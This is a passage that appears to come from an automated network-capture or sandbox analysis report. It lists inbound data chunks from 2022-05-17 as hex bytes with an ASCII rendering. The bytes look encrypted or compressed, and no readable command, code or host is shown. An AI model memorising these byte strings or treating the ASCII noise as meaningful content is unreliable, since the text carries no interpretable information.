d2 0d 58 4e 93 74 e8 9a 64 1a 36 c5 ab 49 bd c2 e3 bc 5d 2c d3 ab 61 14 41 ca 42 Data Ascii: D~^ok(Lpgfut*uRsAZMCx!' f@g7Bl~"A6,;]siA$:fKO0DP%efbEK"Mq'H/?y#TB\|p\s8IeCU#I.h4DXNtd6I],aAB
2022-05-17 14:51:08 UTC	116	IN	Data Raw: dc 85 a5 fb 61 40 23 08 a4 97 c1 1f 6e 89 40 16 f3 2f 6f 5d cb 30 c9 ec 66 5a 2c c6 3a 6b 61 0e 1b 5c ef c3 af 61 4c b9 d1 5b 1a 1d b4 da d2 e5 1e e7 db 0e 78 36 8d 1c 14 93 b0 23 39 f7 ef 63 77 ef 6e f1 7f cc 66 d1 6c 9b ca e4 b4 3a 04 b7 47 ed 30 01 f0 f4 5a 4d 24 0c fb 17 80 ae c7 87 46 f2 59 84 23 fb 29 d5 00 c4 76 8a 2c e0 1f ed f1 bc 3b 56 b3 ca f9 3e ab e9 65 8a e1 72 e0 3a 7b 46 4c 96 d5 f8 15 3c 41 c4 7a 9c 60 e0 03 b8 af 60 f9 1c 26 6b ed 31 fd 12 fd 89 4c 1a 4b 8e 38 46 9d 2e ff 5e 30 e0 40 17 69 04 23 0e 8a f3 7c 9b 59 3c fc a2 ac f6 cf 93 dd 5b 39 75 4f 6c 53 85 6e db d1 a5 18 22 b4 e6 a3 58 af 1f 62 a0 d1 e4 af 54 0e ce 46 24 69 d7 6c ab c0 80 4d 70 b0 c5 c3 82 88 0c 45 54 d0 e3 d7 c1 f3 a6 87 dc 2c 7e c4 4c 39 75 0a bf dd 6e 02 b5 0b b2 31 Data Ascii: a@#n@/o]0fZ,:ka\aL[x6#9cwnfl:G0ZM$FY#)v,;V>er:{FL<Az``&k1LK8F.^0@i#\|Y<[9uOlSn"XbTF$ilMpET,~L9un1
2022-05-17 14:51:08 UTC	117	IN	Data Raw: 45 42 25 d8 85 58 3e a9 da 22 f9 33 25 5a 89 e0 88 48 08 27 87 31 b9 3d 9a 00 6e ad 89 88 6d 96 29 0e 52 98 47 76 ab 76 55 d4 69 3d 5a c1 ce ca 0e 01 3e 12 79 ca f6 0a b7 26 80 9c 4e 37 eb 5b 3b 7d 21 03 7c 1b 54 c8 88 81 45 9b 69 ee 88 15 0a 3c b8 ab 47 be c5 e5 ac 4b 28 de ad 64 1f 51 c3 06 c1 62 9d 78 53 a7 d2 3f 1e 37 26 9b e6 07 e2 0a 83 cf 01 9c 2c 6d 12 cd 6d 85 67 ec 8e ab 04 c4 16 cf 70 4f af d0 62 08 5f 80 3f 2b d8 2c e3 23 c0 9b 73 a1 0e 98 77 10 3e 36 1b 85 44 14 aa 7a 25 7e 02 98 e4 4c fc 0c 34 71 88 76 74 5f c2 3b a2 07 0d 0a c6 4a 82 80 82 9b a2 79 db 39 2e d0 b5 4b c2 9f 38 6a c8 74 b2 52 c5 09 33 a6 19 f5 07 26 cc 5d 7c 59 b7 6e 43 de 71 0c 51 8f 80 7c 68 44 eb e3 5b 07 0b cf ff 1c 21 23 11 0b db 3e 87 fb c8 74 9c 89 f5 67 56 1e 02 32 79 Data Ascii: EB%X>"3%ZH'1=nm)RGvvUi=Z>y&N7[;}!\|TEi<GK(dQbxS?7&,mmgpOb_?+,#sw>6Dz%~L4qvt_;Jy9.K8jtR3&]\|YnCqQ\|hD[!#>tgV2y
2022-05-17 14:51:08 UTC	118	IN	Data Raw: 78 27 9f b8 ab 9b 29 ef 70 67 97 af 6b 15 62 52 79 6e 33 03 ca 23 45 12 e7 83 76 ee ce d3 5d 6f 1d be 28 50 38 28 b6 b8 c4 68 4d ce 91 46 61 c6 7d 17 d5 b0 8f 96 7a 1e 4e c6 1d 57 e8 4c 1a 70 b8 64 dd 24 f4 d4 ba ad 30 78 44 e3 cd e6 fc cd 95 b7 e1 1c 13 f5 77 0e 17 3c d1 f8 0d 6c bd 2b ae 2c 76 8b 96 56 cd 42 54 db eb 83 e5 e9 3c d5 98 f0 30 1c f4 d4 65 90 3f 9c 05 ec a1 9d 81 4b ae 5b da 97 2b f1 20 17 46 43 0b 0f 50 cf a2 ff 08 75 fc 4b 58 f0 3a 64 ab cf 8e c2 f2 82 70 ca 85 7d 54 f0 31 dc 08 1e cc 7d d8 8e 5a 83 c0 e5 8a 7b a3 57 f9 60 d5 e9 c7 be ee df 54 c9 f3 c0 c8 b9 44 ec 81 f7 15 dd c3 d5 18 2d 78 1a 89 e4 7e 30 18 80 b3 a9 85 35 92 c6 84 b7 70 ad c7 41 41 9d 8d 03 8d 8d 45 59 32 29 49 fa 02 81 1b eb a0 83 bd 1b e3 ef 5e 63 1e d1 4a df b3 a5 0d Data Ascii: x')pgkbRyn3#Ev]o(P8(hMFa}zNWLpd$0xDw<l+,vVBT<0e?K[+ FCPuKX:dp}T1}Z{W`TD-x~05pAAEY2)I^cJ
2022-05-17 14:51:08 UTC	120	IN	Data Raw: 84 59 11 b7 7f 2d 7b 22 98 f6 ce 81 04 14 72 95 73 69 5a ca 33 a7 00 0c 18 47 53 87 a0 80 9a ac 7b de 3e 2d d2 bd 43 c5 bf 3b 6b ca 7a a2 50 c1 09 32 a7 11 fd 00 24 de dd 99 4b 36 77 4b de 70 1e d1 6e 92 fc 8d 43 ec e6 55 09 05 c1 f1 19 21 23 03 89 6e 3b a7 fa c6 69 99 81 f5 64 54 10 0c 23 fb 1e 55 80 62 00 93 7a 9e 6e 91 3a 94 5d 4a d1 5e 39 ed 46 08 ad 12 1a 9f 55 33 12 27 63 ed 5e c3 b4 8d 3b 6b 50 ec 2e 0c 0b 0e cf fe 05 3d 4e 1b e3 4c 9b 81 c4 62 84 de 38 28 57 65 aa 31 95 08 09 65 ea 31 f3 ba e9 70 4a b4 3f 95 eb d6 8f 00 2e 40 6d fb c8 d3 52 17 a7 0d 6f a3 5d 00 37 ae 53 bd c2 20 35 5e ab 49 6b 61 09 3b 58 ee cd a1 6f 42 d8 d0 5b 2e 4e cd a9 a6 80 73 c9 8c 6b 1a 18 de 79 66 e5 d9 40 5c 84 c1 33 05 80 1a 9e 1c a3 0a a2 42 c8 a5 85 c4 72 70 c3 37 ae Data Ascii: Y-{"rsiZ3GS{>-C;kzP2$K6wKpnCU!#n;idT#Ubzn:]J^9FU3'c^;kP.=NLb8(We1e1pJ?.@mRo]7S 5^Ika;XoB[.Nskyf@\3Brp7
2022-05-17 14:51:08 UTC	121	IN	Data Raw: 7d 8d d6 86 e3 39 02 1d 34 a8 1b ac 95 6b 90 3b fd a2 72 39 f1 2a 65 25 8d 99 a3 5c 96 72 ad 28 36 b1 16 7a 36 2c 70 2a 82 b6 2f 6f 57 6d 8a c8 ec 5c 81 b9 1b 25 24 60 46 6a a6 47 55 18 ef 6e 61 ec 06 87 6e f0 69 17 d5 6a 81 cd 34 79 e8 8e c3 4b 05 8e c9 68 1a ae b5 d5 dc cc 93 ae 1d b5 b0 c7 b6 0d 54 83 c1 41 11 16 1b 14 8f 58 fd 56 f5 cf da 08 03 69 c6 93 15 d0 97 20 9d c6 a2 e2 35 10 1c 1a df e9 f2 d2 15 b3 f7 a2 b9 39 07 8e 74 bc 9a 18 2a 3f 03 72 d2 0b 02 07 bc b6 e0 9e 9e 22 e7 e0 38 b2 76 26 d5 b5 32 b4 f4 4e 3a 64 61 f7 22 d1 d6 d3 34 e1 3d 19 80 7d b7 c2 5e 5c 05 e9 52 a8 9e 89 fe 3a a6 7e 3c b5 2b 31 c5 49 e7 82 db 87 f3 fd d8 80 de 43 a4 82 98 53 17 0a f2 3d 85 59 80 45 0d 53 8c 0d bb de 51 7d bd 4e 6a 56 6d 23 e4 29 8a a9 0d a5 8e ca 75 20 81 Data Ascii: }94k;r9e%\r(6z6,p/oWm\%$`FjGUnanij4yKhTAXVi 59t*?r"8v&2N:da"4=}^\R:~<+1ICS=YESQ}NjVm#)u
2022-05-17 14:51:08 UTC	122	IN	Data Raw: 04 3e f7 d9 16 ae 9b 1c bb 29 48 08 a5 c6 f5 5a 75 0e 8b aa 36 2e 9e 96 35 89 52 51 20 78 d5 2b e4 44 71 51 bf f0 9e 7f ba 8d 60 ca ad f9 c7 7b 52 c2 ae fc 7a 05 36 f8 ae a1 b0 a0 1f aa a4 40 ec d2 8e 95 64 cc b3 ba 9d d1 7b a6 1a c1 ba ff 2c 26 09 f8 f9 56 86 a1 d7 bd 00 cc 7c 91 43 8e cb 57 18 5d 4d 72 8c 43 55 9d 76 53 c9 4d 45 49 35 c5 5f 2f e7 7e 48 71 58 36 e2 dd 63 39 82 a0 15 6a fe ae 10 bb a5 4b ef b6 b4 be 77 aa c5 16 dd 03 14 ec 99 aa b5 2f 7c c2 bc 2b ce 15 ae fb af fe 91 27 d4 93 99 1d e7 6b 85 1a ed e1 24 e1 d2 30 41 db 2a 27 0f 18 33 32 b3 0a 8f 79 92 b4 42 82 ed 15 6a 41 77 a3 66 d6 58 0d 66 12 d8 67 6d 88 67 a2 e0 f0 41 87 8f e4 97 ea 57 05 90 07 18 42 76 d4 95 54 49 84 34 bd 2a fc a7 04 8b f1 19 07 42 7c db a3 42 03 98 00 f6 cc 8f d2 4c Data Ascii: >)HZu6.5RQ x+DqQ`{Rz6@d{,&V\|CW]MrCUvSMEI5_/~HqX6c9jKw/\|+'k$0A'32yBjAwfXfgmgAWBvTI4B\|BL
2022-05-17 14:51:08 UTC	124	IN	Data Raw: 44 a1 ef db 79 ae 02 61 78 b4 23 42 5c 7c 42 8e b9 b3 a7 26 92 fe d5 c1 6b 6c 1e c4 5d 65 18 5d d7 92 7d eb 5a d9 dc 51 78 f2 42 dd 92 25 31 81 06 18 eb e5 f8 33 a8 e7 af de 7c 98 89 0d ac 01 61 f5 6c 18 dd 49 4a 2a 7e 94 55 0f 02 dc 07 f2 b9 a9 68 0e d4 d9 a6 43 ef 10 ca 5e 98 26 8b e6 67 f0 af 45 b8 45 f1 bd 0b 68 16 0b 3c 38 ff 4f c4 ef eb f1 5f 88 78 11 38 76 61 41 9a 88 c9 3a 55 a3 d4 fd 71 3a ea 2d 5b 1e 89 f3 b3 fb 3b a0 62 90 bc 66 e7 03 dd 8d bc cf 6d 31 f6 f3 00 a9 81 71 97 47 c8 ce 2c c6 1d 42 a9 3c df 5a 3f ac 0f b1 35 d9 76 88 01 c3 ee e4 9a 58 7b a3 91 9e bb 4d 88 d5 c4 3b e6 54 53 c2 c5 ba 37 b6 39 0d 50 d2 9b 7c ae ab 73 8f c4 7d 6f 4f 82 53 4e 07 34 8f e6 28 c5 2d cc e2 48 2b de 07 b2 fe e2 42 01 af 7d c5 2f 2a 92 00 5d 5c d1 6c 66 10 db Data Ascii: Dyax#B\\|B&kl]e]}ZQxB%13\|alIJ~UhC^&gEEh<8O_x8vaA:Uq:-[;bfm1qG,B<Z?5vX{M;TS79P\|s}oOSN4(-H+B}/]\lf
2022-05-17 14:51:08 UTC	125	IN	Data Raw: 20 7d b5 7a d1 5d 50 b0 75 16 dc 6a 7f 1b 00 7b 96 10 fe 77 f7 1f 5b 22 f5 0a 65 f6 2e 63 2d 47 e9 5f c3 19 23 b4 5e ae 37 82 27 37 6d 87 2b 4d 45 b2 64 95 9e 9f 71 1a 67 2f ad 4a f9 21 ee 73 64 81 63 f1 df 93 91 f6 62 c7 c6 e4 aa d7 90 f2 ea 9a 64 c1 b4 f4 13 3a 5e b3 68 16 4a 48 64 9c 3b 61 b4 72 02 4d 53 71 03 ba 5e 1a 28 5d 72 2c 5f 27 98 a4 be 1a 9c 8c c7 ca 86 bb 8d 3b 64 48 e2 d4 3a 5e c5 c3 fe 80 6b 85 e1 b3 3e 50 9f b0 91 16 5c f8 5e 46 a5 46 8d 69 5f f6 94 a1 ef 15 aa 6f 20 66 b7 4e ed cb ac 78 ee 45 85 aa 20 9b 9b c4 76 8c 55 6f 1c 17 cb eb df 2b 14 ec 30 d6 7b 8b e0 e6 53 d7 7d 73 84 f1 27 2e 2a 72 dd 67 80 af 31 ca b5 02 4f 2d 21 2c 5b 88 56 76 7c ef a6 7d 5d 31 60 ed a4 30 79 96 32 7d c0 0e f9 8f aa ca 18 05 97 99 77 af 96 89 b2 8f 19 d0 96 Data Ascii: }z]Puj{w["e.c-G_#^7'7m+MEdqg/J!sdcbd:^hJHd;arMSq^(]r,_';dH:^k>P\^FFi_o fNxE vUo+0{S}s'.*rg1O-!,[Vv\|}]1`0y2}w
2022-05-17 14:51:08 UTC	126	IN	Data Raw: 68 61 22 1d d0 6c 78 70 0c aa 5d b1 0d e8 6a bf 0b e1 68 34 d2 3f ce d5 01 6c 74 aa a2 a0 93 88 71 ad 44 d7 51 b5 df 9a c2 87 c9 06 7a 6b 8f b7 58 da 3b a2 33 f4 34 48 dd 44 e5 f5 16 82 53 d7 fa d5 f3 82 9c 85 ca 55 03 36 1a 65 4b 69 a7 be 30 80 39 5b ed 09 b8 93 e0 3a 6e eb 4c d9 00 4a b6 fb 62 eb 0f 27 cb ad e6 dc a0 2c 5e 9a ee 7a 57 ca a9 3b 54 c5 0e 91 b7 97 75 a6 87 9d 29 f1 1a 50 d4 2a 92 53 8f 56 d2 e5 3f 69 d2 d9 17 c2 c3 0d cb 61 9e fc d0 37 01 3e e5 6b 17 52 df 01 66 05 d7 f4 2b 49 88 02 1d e0 eb 1c 3e 8d 1b b5 99 a4 d0 cd 44 ba 25 ac f6 16 07 ed e5 09 71 48 93 b4 6a ea fa ff c9 86 84 57 09 2a 9d bd eb ea ba f6 6c 23 e7 e5 35 fd fc 92 aa e9 0d 6d 0e 99 8d 35 13 47 b6 ce 60 a9 fd 67 59 92 a7 e3 d5 72 da e5 12 a1 ae d1 7c f3 32 06 7f d3 58 9c c6 Data Ascii: ha"lxp]jh4?ltqDQzkX;34HDSU6eKi09[:nLJb',^zW;Tu)PSV?ia7>kRf+I>D%qHjWl#5m5G`gYr\|2X
2022-05-17 14:51:08 UTC	127	IN	Data Raw: 8f 88 e2 7e 79 a4 9b 67 ec 3a 06 90 61 89 56 45 cb 0b ef 8e fc 14 79 22 e5 df f4 41 f5 af 37 82 dd 7b f9 fd 1b 52 89 b5 8a f6 d9 f3 14 1e 73 f6 c7 85 3e 8d 0b 44 2a ce bc b5 a9 a0 15 c4 7d bc 99 12 4b 92 28 87 6f 7a 9a 08 14 df f1 80 85 a7 ce a3 a5 b6 4d bf c1 88 0c 07 ac 37 bb 80 1d e2 49 5d f5 b2 1e 7b 63 b8 b5 68 3c bd ee b5 8e 66 48 61 27 66 bf 9a f1 08 d4 6b 29 da e5 42 84 81 f0 a8 a4 33 a6 d6 65 14 4d 7d 24 8c 87 32 e8 4d 37 83 99 14 b0 5c 55 07 ae 71 13 5c a0 26 40 3a ea 92 fa b2 67 32 65 ad 48 39 df da 0b 95 54 d6 40 98 d5 23 17 9e 0f 81 27 d0 c9 7e e5 48 62 cd ff 77 b2 53 29 cd b7 5a db c5 f5 8e 08 2b 34 62 b1 dc cf a6 35 5c fa 2b fb 6a c8 cf 34 4f a5 7a 63 9e b0 ea 12 59 9a 1f f7 af bc fb 45 2a 64 b3 f9 2d b2 1c ae 69 1e 3a c4 97 e9 3c 43 8e a7 Data Ascii: ~yg:aVEy"A7{Rs>D}K(ozM7I]{ch<fHa'fk)B3eM}$2M7\Uq\&@:g2eH9T@#'~HbwS)Z+4b5\+j4OzcYEd-i:<C
2022-05-17 14:51:08 UTC	129	IN	Data Raw: 08 a1 ed b4 75 8f 2f d3 f6 cb 03 4a d2 68 83 9f 92 1c 7b d2 77 84 39 df 45 85 de 9f 5d 8f 67 44 03 d2 12 17 19 5d 0a 05 5a e6 88 a6 40 57 f2 13 5b 15 f7 1d f5 ce ba 62 9e 46 b8 89 e5 77 19 12 dd 27 c4 2c 44 20 ce 65 85 05 c8 18 7a f3 f3 44 4d 5e f5 ac f5 3d 92 09 77 bd 60 8f aa 4a 00 97 fa 11 e3 7c 54 27 c5 6f cc 0c 44 bf 39 39 4e 55 c5 b7 21 33 2c e9 96 2f 9a fc 96 c7 5c f0 54 b0 18 18 95 eb d8 b9 cf f0 e1 81 4e 17 5e 55 6c e7 47 88 53 8d 83 10 d5 dc 00 b6 6c 40 7a e3 41 f5 29 25 2e 89 3c a6 bb 5e 48 6e be 0d 44 35 19 cb 7d 2b a7 dc de 47 13 93 29 b5 07 79 7b 30 22 2c 7b 75 c5 9f af 0b 34 cf 3c ff 5a 7a 00 d5 b0 5c ac 7d 07 eb cf 78 3a b6 58 d6 6e 41 76 5a fe 38 18 3a c2 32 cd 8d 6b 2c ec 2e 93 e0 28 54 51 4b 08 e2 1e 5b 6b a2 12 c0 59 52 a6 33 e8 70 3a Data Ascii: u/Jh{w9E]gD]Z@W[bFw',D ezDM^=w`J\|T'oD99NU!3,/\TN^UlGSl@zA)%.<^HnD5}+G)y{0",{u4<Zz\}x:XnAvZ8:2k,.(TQK[kYR3p:
2022-05-17 14:51:08 UTC	130	IN	Data Raw: 8b 4e 75 f4 e7 4d 90 53 5c b3 21 44 d3 8f b6 c6 d9 23 26 2a ec 43 a1 73 6a 76 92 ea 5c 0f ff de 4f 28 a9 bb cb 66 6b aa f1 9c ea 57 3d e0 9f 7e 92 c1 aa fd e8 d3 d3 ed 68 90 c4 cd 0a 75 e9 5e 33 4b c2 b7 90 e6 d8 7b 8c c8 12 5c 79 c1 48 b6 a2 60 9a df f1 3e 02 d0 80 8a e9 36 db b8 96 8b f1 09 fe 20 51 ea 7d 18 2c 35 76 27 f0 c5 d1 1e 48 3f 68 bd 77 3f c6 e0 94 e5 b9 c4 e7 ac a1 67 7e e7 0a 7b 37 1d ba cd 0b 9a a8 5f b5 69 8f 00 48 02 79 23 bd 1a ef a8 0e b3 de 2a 0d 5d 87 50 dd 81 f6 a9 31 93 d2 cb 5a 8c 6b 31 36 05 3b 5e e1 ec 12 ad d3 04 76 ea ee 88 73 88 9d b0 96 3f dc bc 03 62 01 a7 3e e6 dd e0 22 44 ad 27 e5 e4 9c 83 ff 20 95 9e 9a 51 2e f9 49 3b 9c f8 71 cb ee 96 a5 df 67 49 75 bf d5 1f 2c db 55 6c ea 9f da a2 4d c5 ce 6f b5 6f eb fb be fc 8e 17 db Data Ascii: NuMS\!D#&Csjv\O(fkW=~hu^3K{\yH`>6 Q},5v'H?hw?g~{7_iHy#]P1Zk16;^vs?b>"D' Q.I;qgIu,UlMoo
2022-05-17 14:51:08 UTC	131	IN	Data Raw: 0f 82 7c 6f b7 a9 0d 26 82 83 fa df 70 10 ba 8e 64 ea 8a 59 62 f7 fd 8c 89 50 c6 75 a6 06 29 86 bb 9c a0 54 96 10 b5 ed 10 eb 98 ae 12 86 b1 6e 9a 9e b5 da bc c3 c6 fa 0c b5 be 2e 6a 43 1c 6b 74 ee 6f ae 90 7b 59 dc af 4b 55 51 3f d2 92 09 fd 05 21 40 ff 10 49 b0 e5 d5 3c a7 aa dc d7 25 66 0e 2d bc 10 bf 60 09 a7 2e 3e d5 c0 93 37 7b 39 7f 89 2f b4 65 bb 58 00 ac 18 08 cd fa 10 d2 fc c1 4f 97 17 92 47 11 53 4d fa ef 26 19 cf 81 5c da 6c 0d 5b 0e f2 d1 94 66 44 10 3a e0 a5 2f e0 bb 63 61 73 f8 fb ae 78 2b 21 8c 5c e2 6c 7a 45 b4 cb 8a d5 f2 9c 98 ff cf e4 4e 84 2c b0 45 ca b4 e3 be 66 9d e7 a7 0e ed 0e cf 52 cb 0b ef 4a 5b d7 90 9f 96 23 d6 ae 32 6b 29 1e d7 90 8f 8c 18 f4 9a ed 2f 76 fd a2 79 0a d0 89 84 92 75 f3 56 8b 78 af 20 f7 87 ba 13 c9 7b 53 23 7c Data Ascii: \|o&pdYbPu)Tn.jCkto{YKUQ?!@I<%f-`.>7{9/eXOGSM&\l[fD:/casx+!\lzEN,EfRJ[#2k)/vyuVx {S#\|
2022-05-17 14:51:08 UTC	132	IN	Data Raw: 9f 84 83 8d 24 e4 0c 37 5d d3 78 20 88 48 a1 76 f9 38 12 30 d3 21 69 05 60 7f 36 06 a0 e7 15 4e 7b 6d f6 1b a5 ed 59 9c 20 72 5c ba 71 1b db 35 ad be 5b ae 89 d8 8a f2 43 9c 5a ad 94 ef c4 93 d4 ed 93 10 d9 13 eb d6 fe aa aa 3d 21 57 ad fa 4e 4a 1b 6f 1c d7 10 12 91 64 29 92 dc c2 0d 6f 93 e9 01 a6 80 48 11 14 73 4e a0 3e 06 48 90 9c 9d 6e 81 58 59 f1 cf 9b d9 2a 5f ab 8f 88 bb d2 a7 22 d1 38 bd f5 83 3c 2e 09 ac 61 ae f7 75 59 22 56 1a 03 b3 59 80 50 7e 46 6a 2e 60 26 9d d2 a3 1a b7 7e 29 db d5 d6 a7 65 41 ac b0 47 31 60 b5 35 04 f5 cf 48 da 3f 3f 90 88 1e f1 ea d6 d1 c9 e8 2b 2d 23 c6 b9 ee 6f 4e 9d 80 15 0a c8 16 ad 4e 7f e9 fe 1e 85 14 6c 95 7e 41 86 9e f8 1e 78 93 56 57 9f a3 aa 61 69 e9 7e 71 f7 4b da 87 fe 36 b9 0b 5e d1 f9 8f 0e 87 c3 7c 10 a1 2a Data Ascii: $7]x Hv80!i`6N{mY r\q5[CZ=!WNJod)oHsN>HnXY_"8<.auY"VYP~Fj.`&~)eAG1`5H??+-#oNNl~AxVWai~qK6^\|
2022-05-17 14:51:08 UTC	134	IN	Data Raw: a6 e0 38 bb 14 b3 cf 45 37 25 ea 75 47 61 33 cf a6 d0 d3 b2 1e ef 14 b2 87 80 95 19 14 03 1e 54 16 5e 4f ad e6 03 21 35 cc 8a 7d 56 d3 ce 37 ce 7c b2 d9 c6 c1 c3 f6 65 48 36 eb a9 c9 9c 01 d2 7d 26 42 96 46 55 5f c1 7a c2 6b b8 ac 3f 95 7f 5d 96 46 81 bf 5b f0 f0 b9 21 85 75 f5 bd 30 14 a2 a3 94 29 6e 19 61 a1 24 48 1a bb e7 26 dc db ee c1 ec 53 e4 2f 54 d1 cc d3 e4 b0 39 8f af 35 c1 8f 07 91 e7 92 4c 1e 91 8e ab cd 2f b8 e0 94 3e 38 96 02 b0 1c b2 b3 3f aa 43 27 ca 87 17 59 bf 62 ce 8d c0 06 86 26 83 36 37 77 a9 c1 64 ef 77 63 87 48 84 6b d5 14 fa c7 8d 4d 3b 64 45 14 10 50 52 e0 a6 27 47 dd 17 7d c2 ea 8c 00 c5 4c a6 2e 84 cc 7f db bc 85 50 09 c7 b1 36 2c 31 61 d7 48 ff 7b 56 e6 c5 52 5c e3 6b 2a b2 ec b4 8d c2 cd e4 49 10 96 f4 e5 07 f2 4d e8 f1 2d fa Data Ascii: 8E7%uGa3T^O!5}V7\|eH6}&BFU_zk?]F[!u0)na$H&S/T95L/>8?C'Yb&67wdwcHkM;dEPR'G}L.P6,1aH{VR\k*IM-
2022-05-17 14:51:08 UTC	135	IN	Data Raw: 58 3d 7c 46 6b 44 13 7d ce 69 50 61 91 f4 d8 60 85 d5 d4 70 dc 38 32 3e 2b 87 06 7b 8c 70 43 53 b0 69 54 b3 cd 0c 98 df 21 73 15 a8 07 3f 2a f1 ca b9 4b 0b 31 ba c6 a7 18 64 32 0a 05 29 ea 62 4e 7a f1 69 65 f1 b1 2e 9b 1d e7 b9 af f0 c2 4b b0 56 75 be 95 06 e9 a9 ac 18 d6 33 a0 44 01 9b a9 a4 a1 ff e2 a0 15 ec 64 57 71 54 34 b5 28 50 54 44 ba 3f dc cc a4 9f c5 85 b6 29 fc a2 8e f6 d0 4e 47 c8 12 8b 71 26 47 d0 7c 46 7e 08 5b 2f 26 b4 a6 11 e4 65 82 bd 25 1c a1 55 ef 49 3b 53 2e 32 69 4f 37 6c a2 a7 2d 63 c5 e2 2b 3a 36 09 7b 6b 12 24 bc 36 b9 90 77 af 01 49 d0 b8 b9 43 50 48 39 f7 ab 1c 41 9c f4 19 61 2a 75 3a 0a 09 74 97 7a e1 d7 33 e4 61 5d 31 0c d1 c6 c7 60 e4 04 e0 72 d0 b1 49 d9 7c 96 53 fe 8e 3b 45 25 f5 ae 88 17 4c 99 3a 6d 35 3c 73 fa ba 0b a7 3f Data Ascii: X=\|FkD}iPa`p82>+{pCSiT!s?K1d2)bNzie.KVu3DdWqT4(PTD?)NGq&G\|F~[/&e%UI;S.2iO7l-c+:6{k$6wICPH9Aau:tz3a]1`rI\|S;E%L:m5<s?
2022-05-17 14:51:08 UTC	136	IN	Data Raw: af 10 34 08 8a de ad 82 bd 98 c5 39 fd b8 18 64 2a bf 99 99 01 36 dc 08 ab 20 d7 42 ad 3e 00 ff 37 96 53 1f 2c 83 67 6e f9 5c 60 98 b7 a8 df 76 35 9b c5 e9 2c 5a a0 72 7c 8f e5 d1 0e 54 fd b9 e4 89 13 a5 92 59 9d f6 ba 8c 6f ba bb 9c f3 57 33 19 f2 83 87 01 7d 03 c3 53 b9 87 f9 5c c8 1c 23 8c 0a 21 48 1d 0d f1 00 d3 53 ab a1 53 2f 65 1b da cf b0 fd 69 f7 b1 02 c1 2f 2f 06 37 dc b3 2a be de 48 dc 3d 37 f5 71 e2 43 37 08 e9 aa 50 03 43 e0 5f 7d 62 41 35 37 05 ef 47 8e 8e e5 b5 45 b1 02 f8 47 dc ee e5 8e 31 63 34 c7 df 0c 7b 35 ba e1 84 de 0b e0 d4 09 47 f8 f2 df aa 47 e7 21 5e e8 f5 34 98 06 29 b2 f6 4d 40 60 d2 f9 aa aa cc 86 da e6 e3 5b 01 7b 03 a2 18 35 53 a6 1d 71 65 b8 ec 45 36 b8 fe 56 8b 31 da 88 b2 ff b3 94 00 ac b1 d4 27 49 46 41 7e e3 57 3d 96 ca Data Ascii: 49d6 B>7S,gn\`v5,Zr\|TYoW3}S\#!HSS/ei//7H=7qC7PC_}bA57GEG1c4{5GG!^4)M@`[{5SqeE6V1'IFA~W=
2022-05-17 14:51:08 UTC	138	IN	Data Raw: 45 db 46 5e 9f 90 a7 b7 01 e7 9b 28 6e 53 f7 a3 26 bb a9 a3 ba 90 26 07 0a 63 98 4b ba 15 52 bb 9d 59 52 00 52 ca ed 3a 10 01 ec 43 3d 40 7a 38 02 31 fe f0 13 5f b1 29 28 7a 51 f1 24 6c 37 f3 74 0d 6e 96 54 f2 ef 2f 6e 05 47 0d aa 51 28 ce c7 de 4d 3b c6 24 a8 28 58 18 d9 33 62 58 9c a4 83 b6 a4 4a 9f 03 ca 2d 6c 7c f8 0f 80 5f a9 b8 1c 2b 46 46 8a 69 64 fc 21 44 fa 64 bb 43 cc ee 89 e0 5e fd 05 1d 18 e5 15 04 d5 5d 4b 3a 9b 63 fe 63 82 88 cd 80 0a 3a b3 55 58 79 28 6d 90 73 87 3c 83 ed 37 d3 8a 52 d7 46 13 ed b2 59 c1 b5 30 7b 64 b2 b7 cd 1a ca bf bb a6 7e 1e 9e a8 a6 cf e7 d4 ae 60 8f f5 3a 27 66 dd 2d cf f7 d3 cc 0d a5 ad a0 e4 56 17 61 91 f9 e6 c9 33 ee ef 35 6e 32 22 01 d2 f2 4d e5 e6 8c e9 7a a3 85 8a 87 86 31 0f a3 a9 8c 57 54 df 3e cc b3 84 cd 2a Data Ascii: EF^(nS&&cKRYRR:C=@z81_)(zQ$l7tnT/nGQ(M;$(X3bXJ-l\|_+FFid!DdC^]K:cc:UXy(ms<7RFY0{d~`:'f-Va35n2"Mz1WT>*
2022-05-17 14:51:08 UTC	139	IN	Data Raw: e2 bc 49 23 74 01 2f cc 08 82 53 a1 e4 c3 6d ea 13 8b 98 2a 9f 8b 11 5f 36 ad 4a 5a a4 08 70 e8 92 ff 0c 9f 9c 0f e3 38 da 42 a9 ee b8 7a 58 c8 b3 a1 91 3a 31 6d 85 a8 a3 d6 b6 48 8d 7f 0b 31 34 28 dd c1 31 91 e3 f8 5f bc 25 53 f2 65 1a b6 85 04 a1 38 f8 53 b6 dc f6 bd 12 ca d0 75 ec 50 09 6a 7f 2c 5c 49 b3 47 fc 84 e2 16 64 c0 30 23 70 fc 5d 25 34 b5 82 d9 25 c2 46 4f b5 5d fb 1a 13 8a 28 fc e0 03 e5 42 40 5c 98 d6 e1 0d e6 f6 a2 00 85 ec 3a e9 70 57 e8 22 2d 00 49 7a eb 88 6b ff 3e 7e 0d a6 1a 9e 19 1e 00 a3 29 59 c0 d1 56 d3 8f cd e2 84 e3 f2 c8 92 c8 32 22 92 e2 d2 be 17 55 da 6a 30 93 ea a6 90 cf 3c e0 34 85 ef 7d f0 7a 76 4f 2f d7 64 84 51 7a 8a c5 f8 b0 0e 9a f2 a1 1d 08 48 15 05 ef 05 5c 76 fc f0 34 df d9 56 f9 73 ba ff 5c 62 c2 c4 47 e6 d2 b4 99 Data Ascii: I#t/Sm*_6JZp8BzX:1mH14(1_%Se8SuPj,\IGd0#p]%4%FO](B@\:pW"-Izk>~)YV2"Uj0<4}zvO/dQzH\v4Vs\bG
2022-05-17 14:51:08 UTC	140	IN	Data Raw: 62 1b ef 15 f9 84 75 e3 8b 51 d0 b7 30 f2 dd 17 74 6e b2 0d 3b 22 2b 2c c8 9f 52 a8 f2 b9 b7 ef 6f e4 15 be 47 20 55 8e ff f7 a7 99 62 b8 d1 94 59 f1 6e 61 0b a9 cf f6 13 26 fa 06 69 c0 b5 ba 49 77 8f b3 59 5c 2f 8e 70 19 e3 e4 69 db 2b 0d 9f 9b 74 48 2b 9b c9 57 d3 92 fc 89 18 78 15 43 cd 55 23 bf 25 ad f8 25 f2 d6 fb 6a ee 49 cf ce 6b 53 21 8e b7 c9 d1 49 04 55 3d 91 d9 c4 60 81 4b 1b 88 9c c9 66 68 29 66 4e 03 94 39 32 4b ef 44 c6 01 92 60 b2 50 d0 91 fd 21 4f 0a d8 f1 35 39 75 0f 5e 90 30 4a 53 1e 94 b9 b5 94 08 11 df 69 47 21 7e 1e 43 09 